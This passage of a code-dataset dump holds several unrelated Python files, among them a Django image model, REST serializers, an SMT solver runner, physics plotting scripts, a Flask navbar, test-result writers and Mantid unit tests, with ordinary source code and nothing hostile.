ratio_h = height / image_pil.height\n if ratio_w < ratio_h:\n # It must be fixed by width\n resize_width = width\n resize_height = round(ratio_w * image_pil.height)\n else:\n # Fixed by height\n resize_width = round(ratio_h * image_pil.width)\n resize_height = height\n image_resize = image_pil.resize((resize_width, resize_height), Image.ANTIALIAS)\n background = Image.new('RGBA', (width, height), (255, 255, 255, 255))\n offset = (round((width - resize_width) / 2), round((height - resize_height) / 2))\n background.paste(image_resize, offset)\n return background.convert('RGB')\n\nclass KImage(models.Model):\n description = models.CharField(max_length=255, blank=True, null=True)\n image = models.ImageField(upload_to=uploadFolder, max_length=254, blank=True, null=True)\n source = models.CharField(blank=True, null=True, default='', max_length=50)\n size = models.IntegerField(blank=True, null=True, default=0)\n class Meta:\n db_table = 'images'\n managed = True\n\n def save(self, **kwargs):\n if self.image:\n #Opening the uploaded image\n try:\n pil_img = Image.open(self.image)\n except Exception:\n pil_img = Image.open(self.image.name)\n \n # resize image to proportionate\n im = resize(pil_img, 800, 800)\n output = BytesIO()\n # #after modifications, save it to the output\n im.save(output, format='JPEG', quality=80)\n \n #change the imagefield value to be the newley modifed image value\n self.image = InMemoryUploadedFile(output,'ImageField', \"%s.png\" %self.image.name.split('.')[0], 'image/png', sys.getsizeof(output), None)\n\n super(PImage, self).save()\n\n def __str__(self):\n return self.description\n\n","sub_path":"knit_order_server/orders/p_models/image_model.py","file_name":"image_model.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"448996093","text":"from rest_framework import serializers\n\nfrom aggregator.models import Lot, Region, Area, Category, SubCategory\n\n\nclass LotListSerializer(serializers.ModelSerializer):\n def to_representation(self, lot):\n data = super().to_representation(lot)\n data['region'] = lot.region.title\n data['area'] = lot.area.title\n data['category'] = lot.category.title\n data['sub_category'] = ', '.join([sub_category.title for sub_category in lot.sub_category.all()])\n return data\n\n class Meta:\n model = Lot\n fields = [\n 'id', 'bid_date', 'bid_id', 'region', 'area', 'category', 'sub_category', 'title', 'start_price',\n 'conditions', 'customer_info', 'description', 'url', 'has_request'\n ]\n\n\nclass AreaSerializer(serializers.ModelSerializer):\n class Meta:\n model = Area\n fields = ['id', 'title']\n\n\nclass RegionSerializer(serializers.ModelSerializer):\n areas = AreaSerializer(many=True)\n\n class Meta:\n model = Region\n fields = ['id', 'title', 'areas']\n\n\nclass SubCategorySerializer(serializers.ModelSerializer):\n class Meta:\n model = SubCategory\n fields = ['id', 'title']\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n sub_categories = SubCategorySerializer(many=True)\n\n class Meta:\n model = Category\n fields = ['id', 'title', 'sub_categories']\n\n\nclass FilterDataSerializer(serializers.Serializer):\n regions = RegionSerializer(many=True)\n categories = CategorySerializer(many=True)\n\n\nclass SuggestionSerializer(serializers.Serializer):\n title = serializers.CharField()\n\n\nclass CategoryReportSerializer(serializers.ModelSerializer):\n total_price = serializers.IntegerField()\n total_count = serializers.IntegerField()\n price0 = serializers.IntegerField()\n price1 = serializers.IntegerField()\n price2 = serializers.IntegerField()\n price3 = serializers.IntegerField()\n price4 = serializers.IntegerField()\n price5 = serializers.IntegerField()\n price6 = serializers.IntegerField()\n\n class Meta:\n model = Category\n fields = ['id', 'title', 'total_price', 'total_count', 'price0', 'price1', 'price2', 'price3', 'price4', 'price5', 'price6']\n","sub_path":"aggregator/serializers/lot.py","file_name":"lot.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"206599560","text":"import subprocess\nimport re\n\nfrom enum import Enum\n\nclass SolverQueryResult(Enum):\n \"\"\"\n Enum to store the result of a single solver query through \"(check-sat)\" query.\n \"\"\"\n SAT = 0 # solver query reports SAT\n UNSAT = 1 # solver query reports UNSAT\n UNKNOWN = 2 # solver query reports UNKNOWN\n\ndef sr2str(sol_res):\n if sol_res == SolverQueryResult.SAT: return \"sat\"\n if sol_res == SolverQueryResult.UNSAT: return \"unsat\"\n if sol_res == SolverQueryResult.UNKNOWN: return \"unknown\"\n\nclass SolverResult:\n \"\"\"\n Class to store the result of multiple solver querys throught \"(check-sat)\" query.\n :lst a list of multiple \"SolverQueryResult\" items\n \"\"\"\n def __init__(self, result=None):\n self.lst = []\n if result != None: self.lst.append(result)\n\n def append(self, result):\n self.lst.append(result)\n\n def equals(self, rhs):\n if type(rhs) == SolverQueryResult:\n return len(self.lst) == 1 and self.lst[0] == rhs\n elif type(rhs) == SolverResult:\n if len(self.lst) != len(rhs.lst): return False\n for index in range(0,len(self.lst)):\n if self.lst[index] != SolverQueryResult.UNKNOWN and \\\n rhs.lst[index] != SolverQueryResult.UNKNOWN and \\\n self.lst[index] != rhs.lst[index]:\n return False\n return True\n else:\n return False\n\n def __str__(self):\n s = sr2str(self.lst[0])\n for res in self.lst[1:]:\n s+= \"\\n\" + sr2str(res)\n return s\n\n\nclass Solver:\n def __init__ (self, cil):\n self.cil = cil\n\n def solve(self, file, timeout, debug=False):\n try:\n cmd = list(filter(None, self.cil.split(\" \"))) + [file]\n if debug:\n print(\" \".join(cmd), flush=True)\n output = subprocess.run(cmd, timeout=timeout,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=False)\n except subprocess.TimeoutExpired as te:\n if te.stdout != None and te.stderr != None:\n stdout = te.stdout.decode()\n stderr = te.stderr.decode()\n else:\n stdout = \"\"\n stderr = \"\"\n return stdout, stderr, 137\n except KeyboardInterrupt:\n print(\"Accepted keyboard interrupt. Stop.\", end=\"\\r\", flush=True)\n exit(0)\n except ValueError as e: \n print(\"Subprocess bug.\")\n stdout = \"\"\n stderr = \"\"\n return stdout, stderr, 0 \n except Exception as e:\n print(\"Exception rises when running solver:\")\n print(e, '\\n')\n exit(1)\n \n\n stdout = output.stdout.decode()\n stderr = output.stderr.decode()\n returncode = output.returncode\n\n if debug:\n print(stdout+\"\\n\"+stderr)\n\n return stdout, stderr, returncode\n","sub_path":"src/modules/Solver.py","file_name":"Solver.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"306265330","text":"import numpy as np\r\nfrom learn import learn\r\nfrom learn_error import learn_error\r\nfrom KernelMatrix import KernelMatrix, SquareDist\r\n\r\ndef create_classify_plot(alpha, Xtr, Ytr, Xts, Yts, kernel_type, s_value, step, task='Classification'):\r\n #Plot a classifier and its train and test samples\r\n # create_classify_plot(alpha, Xtr, Ytr, Xts, Yts, kernel_type, s_value, task, step)\r\n # INPUT \r\n # alpha classifier solution\r\n # Xtr train samples\r\n # Ytr labels of the train samples\r\n # Xts test samples\r\n # Yts labels of the test samples\r\n # kernel_type kernel of the classifier\r\n # s_value parameters of the kernel\r\n # step step size\r\n \r\n min_ts0=min(Xts[:,0])\r\n min_tr0=min(Xtr[:,0])\r\n min_abs0=min([min_ts0, min_tr0])\r\n \r\n max_ts0=max(Xts[:,0])\r\n max_tr0=max(Xtr[:,0])\r\n max_abs0=max([max_ts0, max_tr0])\r\n \r\n min_ts1=min(Xts[:,1])\r\n min_tr1=min(Xtr[:,1])\r\n min_abs1=min([min_ts1, min_tr1])\r\n \r\n max_ts1=max(Xts[:,1])\r\n max_tr1=max(Xtr[:,1])\r\n max_abs1=max([max_ts1, max_tr1])\r\n \r\n ax=np.append(np.arange(min_abs0, max_abs0, step),max_abs0)\r\n az=np.append(np.arange(min_abs1, max_abs1, step),max_abs1)\r\n a, b = np.meshgrid(ax,az)\r\n na = np.reshape(a.T,(np.size(a),1))\r\n nb = np.reshape(b.T,(np.size(b),1))\r\n c = np.concatenate((na, nb), axis=1)\r\n \r\n K=KernelMatrix(c, Xtr, kernel_type, s_value)\r\n y_learnt=np.dot(K, alpha)\r\n z=np.array(np.reshape(y_learnt,(np.size(a,axis=1),np.size(a,axis=0))).T)\r\n z=np.array(z)\r\n return a, b, z","sub_path":"Part I/Day II/Labs/Lab4/Code/spectral_reg_toolbox/create_classify_plot.py","file_name":"create_classify_plot.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"59979146","text":"#!/usr/bin/python\n\nimport zmq\nimport os\nimport time\n\ncontext = zmq.Context()\npublisher = context.socket(zmq.PUSH)\npublisher.connect(\"tcp://localhost:5561\")\nwhile True:\n pid = os.getpid()\n publisher.send(b\"Hello From pid %s\"%pid)\n time.sleep(1)\n","sub_path":"chatsender.py","file_name":"chatsender.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"188498294","text":"import csv\nimport random\nfrom numpy import genfromtxt\nimport networkx as nx\nimport matplotlib.pyplot as plt\n\n#Cache Angus - 20000629\n#15sa54-Net ID\n\n\n\n#got network, first get them in lists then add them to the graph, the street map doesnt change\nnetwork = genfromtxt('network.csv', delimiter=',')\nG = nx.from_numpy_array(network)\ng = plt.figure(1)\npos = nx.spring_layout(G) # positions for all nodes\n\nnx.draw_networkx_nodes(G, pos, node_size=700)\nnx.draw_networkx_edges(G, pos, width=1, edge_color='k')\nnx.draw_networkx_labels(G, pos, font_size=20, font_family='monospace')\n\nplt.axis('off')\n\n\n#get the requests\n\n\n#creare a list of list, like a dict, of cars with availability, location, and time shortest path time as their params\ncars = [[0,1,0],[0,1,0]]\n#check what happens when more cars are added\ncarsMore = [[[0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]],\n [[0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0], [0, 1, 0]]]\n\n\n#the overall algorithm is within this function-it takes in the request file and then outputs the waiting time\n#It also determines things like which cars are picking up, the path they take\n#as well as what passengers get picked up in what order, and graphs it\n\ndef waiting_time(networks, requests, cars=None):\n car = 0\n minTime = 100000 #ensure that the first min time is less than\n\n #for chosing the car to use\n if cars==None:\n #assume 2 cars\n cars = [[0,1,0],[0,1,0]]\n\n time_waiting = 0\n time = []\n loc = []\n dest = []\n\n # get the different values from the request files\n with open(requests, 'r') as csvfile:\n req = csv.reader(csvfile, delimiter=',')\n for line in req:\n time.append(float(line[0]))\n loc.append(float(line[1]))\n dest.append(float(line[2]))\n\n #get how many requests there are\n alltimes = len(time)\n\n #iterate through all of the times requested, get car behavoir\n for i in range(0, alltimes):\n # after that, find the dijkstras distance from the cars to find closest and use this to determine time\n #compare cars\n for c in cars:\n c[2] = nx.dijkstra_path_length(networks, c[1]-1, loc[i]-1, weight='weight')\n #c[2] = nx.dijkstra_path_length(networks, c[1] - 1, loc[i] - 1, weight='weight')\n if time[i]> c[0]:\n c[0] = time[i] #this is checking for the time spent waiting and whether or not the car had to wait to be finished its last drop off\n\n\n #now we need to chose the car with the smallest waiting time!\n numcars = len(cars)\n\n for lowest in range(0,numcars):\n wait = cars[lowest][0] + cars[lowest][2]\n if wait < minTime:\n car = lowest\n minTime = wait\n\n #when dropping passenger off\n if cars[car][0] > time[i]:\n additional = minTime - time[i] #checks if there is a delay when the car is not ready immediately\n else:\n additional = cars[car][2] #simply the length of the trip to the start\n\n #Find the shortest distance between the start and end locations\n trip_time = nx.dijkstra_path_length(networks, loc[i] - 1, dest[i] - 1, weight='weight')\n\n #reasssign the the car chosen's available times(the end of getting there and the shortest pathtime) and new location of car\n cars[car][0] += cars[car][2] + trip_time\n cars[car][1] = dest[i]\n\n time_waiting += additional\n\n return time_waiting\n\n\n#find the waiting time\nfinalTime = waiting_time(G, 'requests.csv', cars)\nprint(finalTime)\n\n\n#When checking on the behavoir of cars when number changes\nmultiCars = []\nfor i in carsMore:\n multiCars.append(waiting_time(G, 'requests.csv', i))\nprint(multiCars)\nlabel = nx.spring_layout(G)\nnx.draw_networkx_labels(G, label, font_size=15, font_family='monospace')\nxNumbers = [2,3,4,5,6,8,10]\nd = plt.figure(2)\nplt.plot(xNumbers,multiCars,'-rD')\nplt.ylabel('Time Waiting')\nplt.xlabel(\"Number of Cars\")\n\n","sub_path":"Year_3/365/project/kjh.py","file_name":"kjh.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"324062652","text":"from __future__ import print_function\n\nimport torch\nimport time\n\n#from .util import AverageMeter, accuracy\n\nimport sys\nsys.path.append('..')\nfrom util import AverageMeter, accuracy, compute_lang_loss\n\ndef validate(val_loader, model, criterion, opt, lang_model=None):\n \"\"\"One epoch validation\"\"\"\n batch_time = AverageMeter()\n losses = AverageMeter()\n top1 = AverageMeter()\n top5 = AverageMeter()\n lang_losses = AverageMeter()\n\n # switch to evaluate mode\n model.eval()\n\n with torch.no_grad():\n end = time.time()\n for idx, data in enumerate(val_loader):\n\n if opt.lsl:\n (input, target, _, (lang, lang_length, lang_mask)) = data\n # Trim padding to max length in batch\n max_lang_length = lang_length.max()\n lang = lang[:, :max_lang_length]\n lang_mask = lang_mask[:, :max_lang_length]\n assert lang_model is not None, 'Must provide lang_model with LSL'\n else:\n (input, target, _) = data\n\n input = input.float()\n if torch.cuda.is_available():\n input = input.cuda()\n target = target.cuda()\n if opt.lsl:\n lang = lang.cuda()\n lang_length = lang_length.cuda()\n lang_mask = lang_mask.cuda()\n\n # compute output\n if opt.use_logit:\n output = model(input)\n features = output\n else:\n features, output = model(input, is_feat=True)\n features = features[-1]\n output = model(input)\n loss = criterion(output, target)\n\n if opt.lsl:\n lang_loss = compute_lang_loss(features, lang, lang_length, lang_mask, lang_model)\n\n # measure accuracy and record loss\n acc1, acc5 = accuracy(output, target, topk=(1, 5))\n losses.update(loss.item(), input.size(0))\n top1.update(acc1[0], input.size(0))\n top5.update(acc5[0], input.size(0))\n if opt.lsl:\n lang_losses.update(lang_loss.item(), input.size(0))\n\n # measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n if idx % opt.print_freq == 0:\n print('Test: [{0}/{1}]\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n 'Acc@1 {top1.val:.3f} ({top1.avg:.3f})\\t'\n 'Acc@5 {top5.val:.3f} ({top5.avg:.3f})\\t'\n '{lang}'.format(\n idx, len(val_loader), batch_time=batch_time, loss=losses,\n top1=top1, top5=top5,\n lang='Lang Loss {lang_losses.val:.4f} {lang_losses.avg:.4f}'.format(lang_losses=lang_losses)\n if opt.lsl else None))\n\n print(' * Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f}'\n .format(top1=top1, top5=top5))\n\n return top1.avg, top5.avg, losses.avg, lang_losses.avg if opt.lsl else None\n","sub_path":"eval/cls_eval.py","file_name":"cls_eval.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"540227558","text":"from flask_nav.elements import View, Subgroup\n\nfrom revue import nav\nfrom revue.utilities.ui.bootstrap import CustomNavbar\n\nadmin_navbar = CustomNavbar(\n 'Revue',\n [\n View('Home', '.index'),\n View('Activations', '.registrations'),\n View('Users', '.all_users'),\n Subgroup('Groups',\n View('All groups', '.group_page'),\n View('Years', '.show_all_years')\n ),\n Subgroup('Mail',\n View('Lists', '.view_mailing_lists'),\n View('Update files', '.generate_mail_lists')\n )\n ], [\n Subgroup('Admin',\n View('Public', 'public.index'),\n View('Intern', 'intern.index'),\n ),\n Subgroup('Account',\n View('Profiel', 'intern.profile'),\n View('Groups', 'intern.view_own_groups'),\n View('Logout', 'intern.logout'),\n ),\n ]\n)\nnav.register_element('admin_navbar', admin_navbar)\n","sub_path":"revue/admin/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"42227741","text":"import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef line_eq(p1, p2):\n\tif( np.abs(float(p2[0] - p1[0])) < 1.e-4 ):\n\t\treturn None, None\n\n\tm = (p2[1] - p1[1]) / float(p2[0] - p1[0])\n\tb = p2[1] - (m * p2[0])\n\treturn m, b\n\n\ndef x(v,t,phi):\n\treturn (t-10.)*v*np.sin(phi)**2 + (t-10.)*np.cos(phi)*np.sqrt( 1.-v**2*np.sin(phi)**2 )\n\n\ndef y(v,t,phi):\n\treturn -(t-10.)*v*np.sin(phi)*np.cos(phi) + (t-10.)*np.sin(phi)*np.sqrt( 1.-v**2*np.sin(phi)**2 )\n\n\n\n\ndef ext_points(x0, y0, xlist, ylist):\n\tfor i,(xi,yi) in enumerate(zip(xlist,ylist)):\n\t\tm, b = line_eq( (x0,y0), (xi,yi) )\n\t\tif(m == None):\n\t\t\txi = x0\n\t\t\tyi = yi >= 0. and 12. or -12.\n\t\telse:\n\t\t\txi = xi >= 0. and 12. or -12.\n\t\t\tyi = m*xi + b\n\n\t\txlist[i] = xi\n\t\tylist[i] = yi\n\n\treturn xlist,ylist\n\t\t\n\n\ndef connect_point(x0, y0, xlist, ylist):\n\tfor xi,yi in zip(xlist,ylist):\n\t\tplt.plot([x0, xi], [y0, yi], 'k-', lw=1.)\n\n\ndef draw_line(xc,yc,xlist,ylist):\n\tfor xci,yci,xi,yi in zip(xc,yc,xlist,ylist):\n\t\tplt.plot([xci, xi], [yci, yi], 'k-', lw=1.)\n\n\n\n\ndef circle(r):\n\t# theta goes from 0 to 2pi\n\ttheta = np.linspace(0, 2*np.pi, 100)\n\n\t# the radius of the circle\n\t# r = np.sqrt(xc[0]**2+yc[0]**2)\n\n\t# compute x1 and x2\n\tx1 = r*np.cos(theta)\n\tx2 = r*np.sin(theta)\n\n\tplt.plot(x1, x2, 'r-', lw=1.5)\n\n\n\n\n\n\n\nphi = np.arange(0., 2.*np.pi, np.pi/6.)\n\n# t = [0., 1.5, 2.]\nt = 5.\nv0 = 0.5\nv1 = 0.75\n\nif(False):\n\t# Plot of Data \n\tplt.plot(x, y, 'ko') \n\tplt.xlabel('x') \n\tplt.ylabel('y') \n\tplt.title(\"line\") \n\tplt.show()\n\tsys.exit()\n\n\nxt = x(v0, t, phi)\nyt = y(v0, t, phi)\n\nxc = x(0.5, t, phi)\nyc = y(0.5, t, phi)\n\nxt1 = x(v1, t, phi)\nyt1 = y(v1, t, phi)\n\nx0 = v0*(t-10.)\ny0 = 0.\n\nxt, yt = ext_points(x0, y0, xt, yt)\n\nplt.figure(figsize=(8,8))\n\n\nplt.plot(x0, y0, 'ro', markersize=10)\nif(t<10.):\n\tconnect_point(x0, y0, xt, yt)\nelse:\n\tcircle(np.sqrt(xc[0]**2+yc[0]**2))\n\tconnect_point(x0, y0, xt1, yt1)\n\tdraw_line(xc, yc, xt1, yt1)\n\tdraw_line(xc, yc, xt, yt)\n\n\n\n\nplt.xlabel('x') \nplt.ylabel('y')\nplt.xlim(-6., 6.)\nplt.ylim(-6., 6.)\nplt.title(\"line\") \nplt.show()","sub_path":"charge/old/plot1_charge.py","file_name":"plot1_charge.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"485344596","text":"import os\nimport sys\nimport time\nimport json\nfrom six.moves import queue\nimport threading\n\n\nclass ResultsWriter(threading.Thread):\n \"\"\"This class will handle results and stats comming from the turrets\n\n :param output_dir: the output directory for the results\n :type output_dir: str\n \"\"\"\n def __init__(self, queue, output_dir):\n threading.Thread.__init__(self)\n self.output_dir = output_dir\n self.trans_count = 0\n self.timer_count = 0\n self.error_count = 0\n self.turret_name = 'Turret'\n self.results = []\n self.queue = queue\n\n try:\n os.makedirs(self.output_dir, 0o755)\n except OSError:\n sys.stderr.write(\"ERROR: Can not create output directory\\n\")\n sys.exit(1)\n\n self.init_file()\n\n def init_file(self):\n \"\"\"Init the result's file\n \"\"\"\n with open(self.output_dir + \"results.json\", 'w') as f:\n json.dump([], f)\n\n def write_result(self, datas):\n with open(self.output_dir + \"results.json\", 'w') as f:\n self.trans_count += 1\n self.timer_count += len(datas['custom_timers'])\n if datas['error']:\n self.error_count += 1\n\n self.results.append(datas)\n json.dump(self.results, f)\n\n def run(self):\n while True:\n try:\n elapsed, epoch, self.user_group_name, scriptrun_time, error, custom_timers = self.queue.get(False)\n datas = dict(elapsed=elapsed, epoch=epoch, turret_name=self.user_group_name,\n scriptrun_time=scriptrun_time,\n error=error, custom_timers=custom_timers)\n self.write_result(datas)\n except queue.Empty:\n time.sleep(.05)\n","sub_path":"oct/results/resultswriter.py","file_name":"resultswriter.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"453571354","text":"\n\ndef buildMeshOutput():\n\n sel_list = pm.ls(sl=True)\n \n for sel in sel_list:\n \n if not isinstance(sel, pm.nodetypes.CanvasNode):\n print('\"{}\" is not a canvas node, skipping...'.format(sel))\n continue\n \n main_grp = pm.group(em=True)\n \n matrix = None\n name = None\n attr_list = sel.listAttr(userDefined=True, settable=True)\n \n for attr in attr_list:\n \n # skip compund attr\n if attr.isChild():\n continue\n \n if attr.type() == 'matrix':\n print('matrix')\n matrix = attr.get()\n main_grp.setMatrix(matrix)\n \n inputs = attr.inputs()\n if inputs:\n name = inputs[0].name()\n main_grp.rename('{}_grp'.format(name))\n \n attr_list = sel.listAttr(userDefined=True, settable=True, readOnly=True)\n \n for attr in attr_list:\n \n if attr.type() != 'mesh':\n continue\n \n attr_name = attr.name(includeNode=False)\n mesh = pm.createNode('mesh')\n attr >> mesh.inMesh\n \n dup_trans = pm.duplicate(name='{}_mesh'.format(name))\n \n # break connection to the canvas node and delete\n attr // mesh.inMesh\n pm.delete(mesh.getParent())\n \n #mesh_trans = pm.group(em=True, name='{}_mesh'.format(name))\n #pm.parent(mesh, mesh_trans, shape=True, add=True)\n \n pm.parent(dup_trans, main_grp)\n \n \n \n\n#pm.select('canvasNode2')\nbuildMeshOutput()","sub_path":"petfactory/fabricEngine/connectCVtoProfile/buildMeshOutput.py","file_name":"buildMeshOutput.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"278370461","text":"import unittest\nfrom mantid.simpleapi import *\nfrom mantid.api import *\n\nclass EnginXFocusTest(unittest.TestCase):\n\n def test_wrong_properties(self):\n \"\"\"\n Tests proper error handling when passing wrong properties or not passing\n required ones.\n \"\"\"\n\n # No Filename property\n self.assertRaises(RuntimeError,\n EnginXFocus,\n File='foo', Bank=1, OutputWorkspace='nop')\n\n # Wrong filename\n self.assertRaises(RuntimeError,\n EnginXFocus,\n File='foo_is_not_there', Bank=1, OutputWorkspace='nop')\n\n # mispelled bank\n self.assertRaises(RuntimeError,\n EnginXFocus,\n Filename='ENGINX00228061.nxs', bnk='2', OutputWorkspace='nop')\n\n # mispelled DetectorsPosition\n tbl = CreateEmptyTableWorkspace()\n self.assertRaises(RuntimeError,\n EnginXFocus,\n Filename='ENGINX00228061.nxs', Detectors=tbl, OutputWorkspace='nop')\n\n\n def _check_output_ok(self, ws, ws_name='', y_dim_max=1, yvalues=None):\n \"\"\"\n Checks expected types, values, etc. of an output workspace from EnginXFocus.\n \"\"\"\n\n self.assertTrue(isinstance(ws, MatrixWorkspace),\n 'Output workspace should be a matrix workspace.')\n self.assertEqual(ws.name(), ws_name)\n self.assertEqual(ws.getTitle(), 'yscan;y=250.210')\n self.assertEqual(ws.isHistogramData(), True)\n self.assertEqual(ws.isDistribution(), True)\n self.assertEqual(ws.getNumberHistograms(), 1)\n self.assertEqual(ws.blocksize(), 98)\n self.assertEqual(ws.getNEvents(), 98)\n self.assertEqual(ws.getNumDims(), 2)\n self.assertEqual(ws.YUnit(), 'Counts')\n dimX = ws.getXDimension()\n self.assertAlmostEqual( dimX.getMaximum(), 36938.078125)\n self.assertEqual(dimX.getName(), 'Time-of-flight')\n self.assertEqual(dimX.getUnits(), 'microsecond')\n dimY = ws.getYDimension()\n self.assertEqual(dimY.getMaximum(), y_dim_max)\n self.assertEqual(dimY.getName(), 'Spectrum')\n self.assertEqual(dimY.getUnits(), '')\n\n if None == yvalues:\n raise ValueError(\"No y-vals provided for test\")\n xvals = [10861.958645540433, 12192.372902418168, 13522.787159295902,\n 14853.201416173637, 24166.101214317776, 34809.415269339654]\n for i, bin in enumerate([0, 5, 10, 15, 50, 90]):\n self.assertAlmostEqual( ws.readX(0)[bin], xvals[i])\n self.assertAlmostEqual( ws.readY(0)[bin], yvalues[i])\n\n\n def test_runs_ok(self):\n \"\"\"\n Checks that output looks fine for normal operation conditions, (default) Bank=1\n \"\"\"\n\n out_name = 'out'\n out = EnginXFocus(Filename='ENGINX00228061.nxs', Bank=1, OutputWorkspace=out_name)\n\n yvals = [0.0037582279159681957, 0.00751645583194, 0.0231963801368, 0.0720786940576,\n 0.0615909620868, 0.00987979301753]\n self._check_output_ok(ws=out, ws_name=out_name, y_dim_max=1, yvalues=yvals)\n\n\n def test_runs_ok_bank2(self):\n \"\"\"\n Checks that output looks fine for normal operation conditions, Bank=2\n \"\"\"\n\n out_name = 'out_bank2'\n out_bank2 = EnginXFocus(Filename=\"ENGINX00228061.nxs\", Bank=2,\n OutputWorkspace=out_name)\n\n yvals = [0, 0.0112746837479, 0.0394536605073, 0.0362013481777,\n 0.0728500403862, 0.000870882282987]\n self._check_output_ok(ws=out_bank2, ws_name=out_name, y_dim_max=1201,\n yvalues=yvals)\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Code/Mantid/Framework/PythonInterface/test/python/plugins/algorithms/EnginXFocusTest.py","file_name":"EnginXFocusTest.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"32912037","text":"#!\\usr\\bin\\python3\n# -*- coding: utf-8 -*-\n'''\n\tCreated on Nov. 2019\n\t\n\tElectric Dynamic Chapter 5\n\n\t@author: ZYW @ BNU\n\t'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom matplotlib import font_manager as fm, rcParams\nimport shutil\n\ndelList = []\ndelDir = './figures'\ndelList = os.listdir(delDir )\n\nfor f in delList:\n filePath = os.path.join( delDir, f )\n if os.path.isfile(filePath):\n os.remove(filePath)\n elif os.path.isdir(filePath):\n \tshutil.rmtree(filePath,True)\n\n\n##------------parameters settings-----------------##\nE_file = './E_map.dat'\nE_0 = np.loadtxt(E_file)\n\nc = 1#speed of light\neps = 1#vaccum dielectirc number\npi = np.pi\nl = 300#wave length\nk= 2*pi/l#wave number\nP_tt = 1000#acceleration of electic dipole\npixels = E_0.shape[0]#resolution of the map\nperc_2 = 4*pi*eps*c**3\ntotal_T = 3\nomega = 0.05\n\n##------------matrix settings-----------------##\n\nE = np.zeros(shape=(pixels,pixels,total_T),dtype='float')# electric field intensity\nB = np.zeros(shape=(pixels,pixels,total_T),dtype='float')# magnetic field intensity\nR = np.zeros(shape=(pixels,pixels),dtype='float')#radius or the distance from the map centre\nN = np.logspace(-0.9,-0.3,3)#contours label numbers\nL = np.zeros(pixels,dtype='float')#any axes of x or y\nphi = np.zeros(total_T,dtype='float')\n\n\n##---------------computing--------------------##\nfor m in range(total_T):\n\tphi[m] = -1*omega*m\n\tE[:,:,m] = (E_0[:,:]*np.exp(phi[m])).real\n\n##------------data writting & figures making-----------------##\n\nfig, ax = plt.subplots()\nfpath = os.path.join(rcParams[\"datapath\"], \"fonts/ttf/cmr10.ttf\")\nprop = fm.FontProperties(fname=fpath)\n\n\nfor m in range(total_T):\n\tplt.contour(abs(E[:,:,m]),N,linewidth=0.01,cmap = 'rainbow')\n\t#plt.clabel(a,fontsize=5)\n\tplt.imshow(E[:,:,m],cmap='YlGnBu',vmin=-1,vmax=1)\n\tplt.axis('off')\n\tplt.savefig('./figures/fig%d.png'%(m+1),size=(19.2,10.8),dpi=600)\n\tplt.clf()\n\n\nexit()","sub_path":"Edipole_video.py","file_name":"Edipole_video.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"348469279","text":"import os\nimport unittest\nfrom datetime import timedelta, datetime\n\nfrom yaml import load\n\nfrom exchangelib.account import Account\nfrom exchangelib.configuration import Configuration\nfrom exchangelib.credentials import DELEGATE\nfrom exchangelib.ewsdatetime import EWSDateTime, EWSTimeZone\nfrom exchangelib.folders import CalendarItem\nfrom exchangelib.services import GetServerTimeZones, AllProperties, IdOnly\n\n\nclass EWSDateTest(unittest.TestCase):\n def test_ewsdatetime(self):\n tz = EWSTimeZone.timezone('Europe/Copenhagen')\n self.assertIsInstance(tz, EWSTimeZone)\n self.assertEqual(tz.ms_id, 'Romance Standard Time')\n self.assertEqual(tz.ms_name, '(UTC+01:00) Brussels, Copenhagen, Madrid, Paris')\n\n dt = tz.localize(EWSDateTime(2000, 1, 2, 3, 4, 5))\n self.assertIsInstance(dt, EWSDateTime)\n self.assertIsInstance(dt.tzinfo, EWSTimeZone)\n 